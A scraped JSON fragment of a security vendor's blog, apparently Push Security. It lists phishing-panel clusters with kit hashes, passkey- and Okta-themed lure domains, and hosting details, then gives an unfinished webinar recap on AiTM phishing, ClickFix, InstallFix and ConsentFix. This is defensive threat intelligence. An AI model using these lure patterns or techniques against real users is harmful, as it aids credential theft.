2026)",{"data":5019,"content":5020,"nodeType":1563},{},[5021,5030],{"data":5022,"content":5023,"nodeType":1577},{},[5024],{"data":5025,"content":5026,"nodeType":866},{},[5027],{"data":5028,"marks":5029,"value":4753,"nodeType":865},{},[],{"data":5031,"content":5032,"nodeType":1577},{},[5033],{"data":5034,"content":5035,"nodeType":866},{},[5036],{"data":5037,"marks":5038,"value":5039,"nodeType":865},{},[],"Tucows",{"data":5041,"content":5042,"nodeType":1563},{},[5043,5052],{"data":5044,"content":5045,"nodeType":1577},{},[5046],{"data":5047,"content":5048,"nodeType":866},{},[5049],{"data":5050,"marks":5051,"value":4776,"nodeType":865},{},[],{"data":5053,"content":5054,"nodeType":1577},{},[5055],{"data":5056,"content":5057,"nodeType":866},{},[5058],{"data":5059,"marks":5060,"value":5061,"nodeType":865},{},[],"Njalla",{"data":5063,"content":5064,"nodeType":1563},{},[5065,5074],{"data":5066,"content":5067,"nodeType":1577},{},[5068],{"data":5069,"content":5070,"nodeType":866},{},[5071],{"data":5072,"marks":5073,"value":4799,"nodeType":865},{},[],{"data":5075,"content":5076,"nodeType":1577},{},[5077],{"data":5078,"content":5079,"nodeType":866},{},[5080],{"data":5081,"marks":5082,"value":5083,"nodeType":865},{},[],"Njalla (AS39287)",{"data":5085,"content":5086,"nodeType":1229},{},[5087],{"data":5088,"marks":5089,"value":5090,"nodeType":865},{},[],"Cluster C",{"data":5092,"content":5093,"nodeType":866},{},[5094],{"data":5095,"marks":5096,"value":5097,"nodeType":865},{},[],"Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.",{"data":5099,"content":5100,"nodeType":1656},{},[5101,5125,5147,5169,5191,5234,5255,5277],{"data":5102,"content":5103,"nodeType":1563},{},[5104,5114],{"data":5105,"content":5106,"nodeType":1577},{},[5107],{"data":5108,"content":5109,"nodeType":866},{},[5110],{"data":5111,"marks":5112,"value":4583,"nodeType":865},{},[5113],{"type":935},{"data":5115,"content":5116,"nodeType":1577},{},[5117],{"data":5118,"content":5119,"nodeType":866},{},[5120],{"data":5121,"marks":5122,"value":5124,"nodeType":865},{},[5123],{"type":935},"heartbeat/check_redirect variant protected with Cloudflare turnstile",{"data":5126,"content":5127,"nodeType":1563},{},[5128,5137],{"data":5129,"content":5130,"nodeType":1577},{},[5131],{"data":5132,"content":5133,"nodeType":866},{},[5134],{"data":5135,"marks":5136,"value":4107,"nodeType":865},{},[],{"data":5138,"content":5139,"nodeType":1577},{},[5140],{"data":5141,"content":5142,"nodeType":866},{},[5143],{"data":5144,"marks":5145,"value":5146,"nodeType":865},{},[],"cb1d409278b2247af23e7b00ac779b232baaf4ce5f63fdf5ebc3920a38cc6102",{"data":5148,"content":5149,"nodeType":1563},{},[5150,5159],{"data":5151,"content":5152,"nodeType":1577},{},[5153],{"data":5154,"content":5155,"nodeType":866},{},[5156],{"data":5157,"marks":5158,"value":4635,"nodeType":865},{},[],{"data":5160,"content":5161,"nodeType":1577},{},[5162],{"data":5163,"content":5164,"nodeType":866},{},[5165],{"data":5166,"marks":5167,"value":5168,"nodeType":865},{},[],"March 2026 - present (April 2026)",{"data":5170,"content":5171,"nodeType":1563},{},[5172,5181],{"data":5173,"content":5174,"nodeType":1577},{},[5175],{"data":5176,"content":5177,"nodeType":866},{},[5178],{"data":5179,"marks":5180,"value":4658,"nodeType":865},{},[],{"data":5182,"content":5183,"nodeType":1577},{},[5184],{"data":5185,"content":5186,"nodeType":866},{},[5187],{"data":5188,"marks":5189,"value":5190,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “sso”, “passkey”, “enroll”, “okta” theme root domain",{"data":5192,"content":5193,"nodeType":1563},{},[5194,5203],{"data":5195,"content":5196,"nodeType":1577},{},[5197],{"data":5198,"content":5199,"nodeType":866},{},[5200],{"data":5201,"marks":5202,"value":4709,"nodeType":865},{},[],{"data":5204,"content":5205,"nodeType":1577},{},[5206,5213,5220,5227],{"data":5207,"content":5208,"nodeType":866},{},[5209],{"data":5210,"marks":5211,"value":5212,"nodeType":865},{},[],"\u003Ctarget>.passkeysetup.com (March 2026)",{"data":5214,"content":5215,"nodeType":866},{},[5216],{"data":5217,"marks":5218,"value":5219,"nodeType":865},{},[],"\u003Ctarget>.enrollms.com (March 2026)",{"data":5221,"content":5222,"nodeType":866},{},[5223],{"data":5224,"marks":5225,"value":5226,"nodeType":865},{},[],"\u003Ctarget>.keyokta.com (April 2026)",{"data":5228,"content":5229,"nodeType":866},{},[5230],{"data":5231,"marks":5232,"value":5233,"nodeType":865},{},[],"\u003Ctarget>.passkeywork.com (April 2026)",{"data":5235,"content":5236,"nodeType":1563},{},[5237,5246],{"data":5238,"content":5239,"nodeType":1577},{},[5240],{"data":5241,"content":5242,"nodeType":866},{},[5243],{"data":5244,"marks":5245,"value":4753,"nodeType":865},{},[],{"data":5247,"content":5248,"nodeType":1577},{},[5249],{"data":5250,"content":5251,"nodeType":866},{},[5252],{"data":5253,"marks":5254,"value":5039,"nodeType":865},{},[],{"data":5256,"content":5257,"nodeType":1563},{},[5258,5267],{"data":5259,"content":5260,"nodeType":1577},{},[5261],{"data":5262,"content":5263,"nodeType":866},{},[5264],{"data":5265,"marks":5266,"value":4776,"nodeType":865},{},[],{"data":5268,"content":5269,"nodeType":1577},{},[5270],{"data":5271,"content":5272,"nodeType":866},{},[5273],{"data":5274,"marks":5275,"value":5276,"nodeType":865},{},[],"Cloudflare",{"data":5278,"content":5279,"nodeType":1563},{},[5280,5289],{"data":5281,"content":5282,"nodeType":1577},{},[5283],{"data":5284,"content":5285,"nodeType":866},{},[5286],{"data":5287,"marks":5288,"value":4799,"nodeType":865},{},[],{"data":5290,"content":5291,"nodeType":1577},{},[5292],{"data":5293,"content":5294,"nodeType":866},{},[5295],{"data":5296,"marks":5297,"value":5298,"nodeType":865},{},[],"Cloudflare (AS13335)",{"data":5300,"content":5301,"nodeType":1229},{},[5302],{"data":5303,"marks":5304,"value":5305,"nodeType":865},{},[],"Cluster D",{"data":5307,"content":5308,"nodeType":1656},{},[5309,5333,5355,5377,5399,5428,5449,5470],{"data":5310,"content":5311,"nodeType":1563},{},[5312,5322],{"data":5313,"content":5314,"nodeType":1577},{},[5315],{"data":5316,"content":5317,"nodeType":866},{},[5318],{"data":5319,"marks":5320,"value":4583,"nodeType":865},{},[5321],{"type":935},{"data":5323,"content":5324,"nodeType":1577},{},[5325],{"data":5326,"content":5327,"nodeType":866},{},[5328],{"data":5329,"marks":5330,"value":5332,"nodeType":865},{},[5331],{"type":935},"heartbeat/check_redirect variant (minified)",{"data":5334,"content":5335,"nodeType":1563},{},[5336,5345],{"data":5337,"content":5338,"nodeType":1577},{},[5339],{"data":5340,"content":5341,"nodeType":866},{},[5342],{"data":5343,"marks":5344,"value":4107,"nodeType":865},{},[],{"data":5346,"content":5347,"nodeType":1577},{},[5348],{"data":5349,"content":5350,"nodeType":866},{},[5351],{"data":5352,"marks":5353,"value":5354,"nodeType":865},{},[],"9d65dd34384b441505e6b67647153c02d5c367bb53da36ce36a392e70b37940a",{"data":5356,"content":5357,"nodeType":1563},{},[5358,5367],{"data":5359,"content":5360,"nodeType":1577},{},[5361],{"data":5362,"content":5363,"nodeType":866},{},[5364],{"data":5365,"marks":5366,"value":4635,"nodeType":865},{},[],{"data":5368,"content":5369,"nodeType":1577},{},[5370],{"data":5371,"content":5372,"nodeType":866},{},[5373],{"data":5374,"marks":5375,"value":5376,"nodeType":865},{},[],"April 2026 (low volume)",{"data":5378,"content":5379,"nodeType":1563},{},[5380,5389],{"data":5381,"content":5382,"nodeType":1577},{},[5383],{"data":5384,"content":5385,"nodeType":866},{},[5386],{"data":5387,"marks":5388,"value":4658,"nodeType":865},{},[],{"data":5390,"content":5391,"nodeType":1577},{},[5392],{"data":5393,"content":5394,"nodeType":866},{},[5395],{"data":5396,"marks":5397,"value":5398,"nodeType":865},{},[],"\u003Ctarget> subdomain with generic “passkey”, “portal”, “okta” theme root domain",{"data":5400,"content":5401,"nodeType":1563},{},[5402,5411],{"data":5403,"content":5404,"nodeType":1577},{},[5405],{"data":5406,"content":5407,"nodeType":866},{},[5408],{"data":5409,"marks":5410,"value":4709,"nodeType":865},{},[],{"data":5412,"content":5413,"nodeType":1577},{},[5414,5421],{"data":5415,"content":5416,"nodeType":866},{},[5417],{"data":5418,"marks":5419,"value":5420,"nodeType":865},{},[],"\u003Ctarget>.passkeyportalsetup.com",{"data":5422,"content":5423,"nodeType":866},{},[5424],{"data":5425,"marks":5426,"value":5427,"nodeType":865},{},[],"\u003Ctarget>.addoktapasskey.com",{"data":5429,"content":5430,"nodeType":1563},{},[5431,5440],{"data":5432,"content":5433,"nodeType":1577},{},[5434],{"data":5435,"content":5436,"nodeType":866},{},[5437],{"data":5438,"marks":5439,"value":4753,"nodeType":865},{},[],{"data":5441,"content":5442,"nodeType":1577},{},[5443],{"data":5444,"content":5445,"nodeType":866},{},[5446],{"data":5447,"marks":5448,"value":4763,"nodeType":865},{},[],{"data":5450,"content":5451,"nodeType":1563},{},[5452,5461],{"data":5453,"content":5454,"nodeType":1577},{},[5455],{"data":5456,"content":5457,"nodeType":866},{},[5458],{"data":5459,"marks":5460,"value":4776,"nodeType":865},{},[],{"data":5462,"content":5463,"nodeType":1577},{},[5464],{"data":5465,"content":5466,"nodeType":866},{},[5467],{"data":5468,"marks":5469,"value":5276,"nodeType":865},{},[],{"data":5471,"content":5472,"nodeType":1563},{},[5473,5482],{"data":5474,"content":5475,"nodeType":1577},{},[5476],{"data":5477,"content":5478,"nodeType":866},{},[5479],{"data":5480,"marks":5481,"value":4799,"nodeType":865},{},[],{"data":5483,"content":5484,"nodeType":1577},{},[5485],{"data":5486,"content":5487,"nodeType":866},{},[5488],{"data":5489,"marks":5490,"value":5298,"nodeType":865},{},[],{"data":5492,"content":5493,"nodeType":944},{},[],{"data":5495,"content":5496,"nodeType":953},{},[5497],{"data":5498,"marks":5499,"value":5501,"nodeType":865},{},[5500],{"type":935},"Detection considerations",{"data":5503,"content":5504,"nodeType":866},{},[5505],{"data":5506,"marks":5507,"value":5508,"nodeType":865},{},[],"For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. ",{"data":5510,"content":5511,"nodeType":866},{},[5512],{"data":5513,"marks":5514,"value":5515,"nodeType":865},{},[],"The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.",{"data":5517,"content":5518,"nodeType":866},{},[5519,5524],{"data":5520,"marks":5521,"value":5523,"nodeType":865},{},[5522],{"type":935},"The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. ",{"data":5525,"marks":5526,"value":5527,"nodeType":865},{},[],"Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs. ",{"data":5529,"content":5530,"nodeType":944},{},[],{"data":5532,"content":5533,"nodeType":953},{},[5534],{"data":5535,"marks":5536,"value":1507,"nodeType":865},{},[5537],{"type":935},{"data":5539,"content":5540,"nodeType":866},{},[5541,5545,5551],{"data":5542,"marks":5543,"value":5544,"nodeType":865},{},[],"Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to ",{"data":5546,"content":5547,"nodeType":889},{"uri":1517},[5548],{"data":5549,"marks":5550,"value":1522,"nodeType":865},{},[],{"data":5552,"marks":5553,"value":5554,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":5556,"content":5557,"nodeType":866},{},[5558,5561,5569],{"data":5559,"marks":5560,"value":21,"nodeType":865},{},[],{"data":5562,"content":5564,"nodeType":889},{"uri":5563},"https://www.virustotal.com/gui/collection/0f745e9da6ef7664444594a7ee930cfe5a9d8bd6c2f039dcde818599b8926610",[5565],{"data":5566,"marks":5567,"value":5568,"nodeType":865},{},[],"The full list of IoCs is on VirusTotal here. ",{"data":5570,"marks":5571,"value":21,"nodeType":865},{},[],{"data":5573,"content":5574,"nodeType":866},{},[5575],{"data":5576,"marks":5577,"value":1461,"nodeType":865},{},[5578],{"type":935},{"data":5580,"content":5581,"nodeType":944},{},[],{"data":5583,"content":5584,"nodeType":953},{},[5585],{"data":5586,"marks":5587,"value":5589,"nodeType":865},{},[5588],{"type":935},"Learn more about Push",{"data":5591,"content":5592,"nodeType":866},{},[5593,5597,5603],{"data":5594,"marks":5595,"value":5596,"nodeType":865},{},[],"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.\n\nSecurity teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.\n\nBook a ",{"data":5598,"content":5599,"nodeType":889},{"uri":2644},[5600],{"data":5601,"marks":5602,"value":2649,"nodeType":865},{},[],{"data":5604,"marks":5605,"value":2653,"nodeType":865},{},[],"We infiltrated a criminal phishing panel: here’s what we found","We got an inside look at a phishing panel used in criminal campaigns linked to operators like ShinyHunters and BlackFile. Here’s what we found.","2026-05-07T00:00:00.000Z","inside-criminal-phishing-panel",{"items":5611},[5612,5614],{"sys":5613,"name":2663},{"id":2662},{"sys":5615,"name":342},{"id":2666},{"items":5617},[5618],{"fullName":5619,"firstName":5620,"jobTitle":2672,"profilePicture":5621},"Push Security Research Team","Research",{"url":5622},"https://images.ctfassets.net/y1cdw1ablpvd/7LpkwyXbOZ8WCVTAXzULmC/bfa3634c78ee9dfbee6606ba5519918b/push-round.png","llmshare-malvertising-campaign","blog/llmshare-malvertising-campaign",{"json":5626},{"data":5627,"content":5628,"nodeType":1663},{},[5629],{"data":5630,"content":5631,"nodeType":866},{},[5632],{"data":5633,"marks":5634,"value":5635,"nodeType":865},{},[],"Attackers are abusing the shared content features of AI chatbot platforms — ChatGPT and Claude — to deliver malware through pages hosted on legitimate, trusted domains, distributing the malicious links via sponsored malvertising ads on search engines. ","How attackers are using shared content features on AI chatbot platforms to deliver malware via pages hosted on legitimate domains, sent via malvertising.",{"id":5638,"publishedAt":5639},"Gcg7PGuICrlRcqq1QFXxH","2026-08-12T12:00:49.899Z",{"items":5641},[5642,5644],{"sys":5643,"name":2663},{"id":2662},{"sys":5645,"name":342},{"id":2666},{"items":5647},[5648,5650,5652,5654,5656,5658,5660,5662,5664,5666,5668,5670],{"sys":5649,"name":279,"slug":280,"tier":31},{"id":276},{"sys":5651,"name":235,"slug":236,"tier":31},{"id":232},{"sys":5653,"name":519,"slug":520,"tier":31},{"id":516},{"sys":5655,"name":440,"slug":441,"tier":45},{"id":437},{"sys":5657,"name":448,"slug":449,"tier":45},{"id":445},{"sys":5659,"name":315,"slug":316,"tier":45},{"id":312},{"sys":5661,"name":431,"slug":432,"tier":45},{"id":428},{"sys":5663,"name":422,"slug":423,"tier":45},{"id":419},{"sys":5665,"name":244,"slug":245,"tier":45},{"id":241},{"sys":5667,"name":563,"slug":564,"tier":45},{"id":560},{"sys":5669,"name":607,"slug":608,"tier":45},{"id":604},{"sys":5671,"name":475,"slug":476,"tier":45},{"id":472},"IqK0SBDuAwVjeXZ7slErmV4yVzN_7gBWkRubjc6cQw4",{"id":5674,"title":5675,"authorsCollection":5676,"content":5684,"extension":228,"faqItemsCollection":6283,"faqTitle":59,"featured":6,"hashTags":59,"meta":6285,"metaTitle":6286,"ogImage":59,"postType":6287,"publishedDate":6288,"relatedBlogPostsCollection":6289,"slug":11005,"stem":11006,"subtitle":59,"summary":11007,"synopsis":11018,"sys":11019,"tagsCollection":11022,"topicsCollection":11029,"__hash__":11075},"blog/blog/7-things-we-learned-from-john-hammond.json","7 things we learned from ‘Why the browser is the new battleground’ with John Hammond",{"items":5677},[5678],{"fullName":5679,"firstName":5680,"jobTitle":5681,"socialLinks":59,"profilePicture":5682},"Daniel Park","Daniel","Technical Content",{"url":5683},"https://images.ctfassets.net/y1cdw1ablpvd/6Cwg1xVeCdzUvxBIMfnDO5/6b18ed126b53611e7b521da34f900d29/254-0-2.jpg",{"json":5685,"links":6271},{"data":5686,"content":5687,"nodeType":1663},{},[5688,5708,5714,5717,5725,5776,5787,5790,5798,5817,5824,5847,5866,5869,5877,5896,5903,5910,5920,5923,5931,5963,5981,5984,5992,6009,6016,6023,6026,6034,6051,6058,6076,6086,6093,6096,6104,6121,6128,6135,6147,6157,6175,6178,6186,6193,6241],{"data":5689,"content":5690,"nodeType":866},{},[5691,5695,5704],{"data":5692,"marks":5693,"value":5694,"nodeType":865},{},[],"We recently sat down with ",{"data":5696,"content":5698,"nodeType":889},{"uri":5697},"https://www.youtube.com/@_JohnHammond",[5699],{"data":5700,"marks":5701,"value":5703,"nodeType":865},{},[5702],{"type":1191},"John Hammond",{"data":5705,"marks":5706,"value":5707,"nodeType":865},{},[]," — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.",{"data":5709,"content":5713,"nodeType":921},{"target":5710},{"sys":5711},{"id":5712,"type":918,"linkType":919},"5lJ49aLY0nApDeY69tNvUi",[],{"data":5715,"content":5716,"nodeType":944},{},[],{"data":5718,"content":5719,"nodeType":953},{},[5720],{"data":5721,"marks":5722,"value":5724,"nodeType":865},{},[5723],{"type":935},"1. Browser attacks are evolving faster than defenses can adapt",{"data":5726,"content":5727,"nodeType":866},{},[5728,5732,5739,5743,5751,5755,5762,5766,5773],{"data":5729,"marks":5730,"value":5731,"nodeType":865},{},[],"The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been ",{"data":5733,"content":5734,"nodeType":889},{"uri":1974},[5735],{"data":5736,"marks":5737,"value":5738,"nodeType":865},{},[],"the dominant phishing technique",{"data":5740,"marks":5741,"value":5742,"nodeType":865},{},[]," for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to ",{"data":5744,"content":5746,"nodeType":889},{"uri":5745},"https://pushsecurity.com/blog/introducing-the-browser-and-identity-attacks-matrix/",[5747],{"data":5748,"marks":5749,"value":5750,"nodeType":865},{},[],"the most common initial access vector observed by Microsoft",{"data":5752,"marks":5753,"value":5754,"nodeType":865},{},[]," within about a year. Device code phishing went from near-zero to ",{"data":5756,"content":5757,"nodeType":889},{"uri":2169},[5758],{"data":5759,"marks":5760,"value":5761,"nodeType":865},{},[],"at least 12 distinct kits",{"data":5763,"marks":5764,"value":5765,"nodeType":865},{},[]," in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been ",{"data":5767,"content":5768,"nodeType":889},{"uri":2135},[5769],{"data":5770,"marks":5771,"value":5772,"nodeType":865},{},[],"operationalized on criminal forums",{"data":5774,"marks":5775,"value":1066,"nodeType":865},{},[],{"data":5777,"content":5778,"nodeType":5786},{},[5779],{"data":5780,"content":5781,"nodeType":866},{},[5782],{"data":5783,"marks":5784,"value":5785,"nodeType":865},{},[],"As Luke put it toward the end of the session: \"I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is.\"","blockquote",{"data":5788,"content":5789,"nodeType":944},{},[],{"data":5791,"content":5792,"nodeType":953},{},[5793],{"data":5794,"marks":5795,"value":5797,"nodeType":865},{},[5796],{"type":935},"2. AiTM phishing is table stakes for attackers ",{"data":5799,"content":5800,"nodeType":866},{},[5801,5805,5813],{"data":5802,"marks":5803,"value":5804,"nodeType":865},{},[],"Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others",{"data":5806,"content":5807,"nodeType":889},{"uri":1974},[5808],{"data":5809,"marks":5810,"value":5812,"nodeType":865},{},[5811],{"type":1191},",",{"data":5814,"marks":5815,"value":5816,"nodeType":865},{},[]," and the kits are getting harder to detect through traditional means.",{"data":5818,"content":5819,"nodeType":866},{},[5820],{"data":5821,"marks":5822,"value":5823,"nodeType":865},{},[],"Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely normal.",{"data":5825,"content":5826,"nodeType":866},{},[5827,5832,5836,5844],{"data":5828,"marks":5829,"value":5831,"nodeType":865},{},[5830],{"type":935},"One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. .",{"data":5833,"marks":5834,"value":5835,"nodeType":865},{},[]," The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for ",{"data":5837,"content":5838,"nodeType":889},{"uri":1388},[5839],{"data":5840,"marks":5841,"value":5843,"nodeType":865},{},[5842],{"type":1191},"detection evasion",{"data":5845,"marks":5846,"value":3017,"nodeType":865},{},[],{"data":5848,"content":5849,"nodeType":866},{},[5850,5854,5862],{"data":5851,"marks":5852,"value":5853,"nodeType":865},{},[],"As John observed, \"the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet\" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a ",{"data":5855,"content":5857,"nodeType":889},{"uri":5856},"https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/",[5858],{"data":5859,"marks":5860,"value":5861,"nodeType":865},{},[],"complete timeline",{"data":5863,"marks":5864,"value":5865,"nodeType":865},{},[],", mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.",{"data":5867,"content":5868,"nodeType":944},{},[],{"data":5870,"content":5871,"nodeType":953},{},[5872],{"data":5873,"marks":5874,"value":5876,"nodeType":865},{},[5875],{"type":935},"3. Email is losing its market share as a delivery vector",{"data":5878,"content":5879,"nodeType":866},{},[5880,5884,5892],{"data":5881,"marks":5882,"value":5883,"nodeType":865},{},[],"One of the most striking examples in the webinar was a targeted AiTM campaign ",{"data":5885,"content":5887,"nodeType":889},{"uri":5886},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users/",[5888],{"data":5889,"marks":5890,"value":5891,"nodeType":865},{},[],"Push detected last year",{"data":5893,"marks":5894,"value":5895,"nodeType":865},{},[]," that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.",{"data":5897,"content":5898,"nodeType":866},{},[5899],{"data":5900,"marks":5901,"value":5902,"nodeType":865},{},[],"As Luke noted, LinkedIn occupies an unusual middle ground: \"It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform.\" It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.",{"data":5904,"content":5905,"nodeType":866},{},[5906],{"data":5907,"marks":5908,"value":5909,"nodeType":865},{},[],"LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted \"not even malvertising, just organic search, uncovering legit websites that have been compromised.\" InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. ",{"data":5911,"content":5912,"nodeType":5786},{},[5913],{"data":5914,"content":5915,"nodeType":866},{},[5916],{"data":5917,"marks":5918,"value":5919,"nodeType":865},{},[],"As John put it: \"You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point.\"",{"data":5921,"content":5922,"nodeType":944},{},[],{"data":5924,"content":5925,"nodeType":953},{},[5926],{"data":5927,"marks":5928,"value":5930,"nodeType":865},{},[5929],{"type":935},"4. ClickFix keeps evolving with multiple *Fix derivatives",{"data":5932,"content":5933,"nodeType":866},{},[5934,5938,5947,5951,5959],{"data":5935,"marks":5936,"value":5937,"nodeType":865},{},[],"ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — ",{"data":5939,"content":5941,"nodeType":889},{"uri":5940},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/",[5942],{"data":5943,"marks":5944,"value":5946,"nodeType":865},{},[5945],{"type":1191},"spawned an entire family of variants since its emergence, according to Push’s research",{"data":5948,"marks":5949,"value":5950,"nodeType":865},{},[],". The webinar showed how far the social engineering has come: Luke demonstrated a ",{"data":5952,"content":5954,"nodeType":889},{"uri":5953},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/",[5955],{"data":5956,"marks":5957,"value":5958,"nodeType":865},{},[],"particularly sophisticated variant",{"data":5960,"marks":5961,"value":5962,"nodeType":865},{},[]," on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: \"It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience.\"",{"data":5964,"content":5965,"nodeType":866},{},[5966,5970,5977],{"data":5967,"marks":5968,"value":5969,"nodeType":865},{},[],"The more important point was structural. Because the user manually pastes and executes the command, \"from the EDR's perspective, the user just manually ran this command,\" Luke explained. \"It actually breaks that link from an EDR's perspective.\" EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push ",{"data":5971,"content":5972,"nodeType":889},{"uri":5940},[5973],{"data":5974,"marks":5975,"value":5976,"nodeType":865},{},[],"detects ClickFix at the clipboard-injection stage",{"data":5978,"marks":5979,"value":5980,"nodeType":865},{},[],", before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.",{"data":5982,"content":5983,"nodeType":944},{},[],{"data":5985,"content":5986,"nodeType":953},{},[5987],{"data":5988,"marks":5989,"value":5991,"nodeType":865},{},[5990],{"type":935},"5. InstallFix turned the AI tool boom into an attack surface overnight",{"data":5993,"content":5994,"nodeType":866},{},[5995,5998,6005],{"data":5996,"marks":5997,"value":21,"nodeType":865},{},[],{"data":5999,"content":6000,"nodeType":889},{"uri":1693},[6001],{"data":6002,"marks":6003,"value":2089,"nodeType":865},{},[6004],{"type":1191},{"data":6006,"marks":6007,"value":6008,"nodeType":865},{},[]," — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.",{"data":6010,"content":6011,"nodeType":866},{},[6012],{"data":6013,"marks":6014,"value":6015,"nodeType":865},{},[],"The trajectory Luke described was striking: \"It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well.\" John added that the Claude Code variant in particular has been \"running rampant,\" and that he personally knows someone who fell for it.",{"data":6017,"content":6018,"nodeType":866},{},[6019],{"data":6020,"marks":6021,"value":6022,"nodeType":865},{},[],"What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.",{"data":6024,"content":6025,"nodeType":944},{},[],{"data":6027,"content":6028,"nodeType":953},{},[6029],{"data":6030,"marks":6031,"value":6033,"nodeType":865},{},[6032],{"type":935},"6. ConsentFix plays out entirely in the browser, and criminals just got the playbook",{"data":6035,"content":6036,"nodeType":866},{},[6037,6040,6047],{"data":6038,"marks":6039,"value":21,"nodeType":865},{},[],{"data":6041,"content":6042,"nodeType":889},{"uri":2096},[6043],{"data":6044,"marks":6045,"value":2101,"nodeType":865},{},[6046],{"type":1191},{"data":6048,"marks":6049,"value":6050,"nodeType":865},{},[]," was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: \"This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at.\"",{"data":6052,"content":6053,"nodeType":866},{},[6054],{"data":6055,"marks":6056,"value":6057,"nodeType":865},{},[],"Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. \"It took us seeing it a few times before we cracked it,\" Luke explained. \"And then we were like — wow. What is this? I've never seen this before.\"",{"data":6059,"content":6060,"nodeType":866},{},[6061,6065,6072],{"data":6062,"marks":6063,"value":6064,"nodeType":865},{},[],"The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a  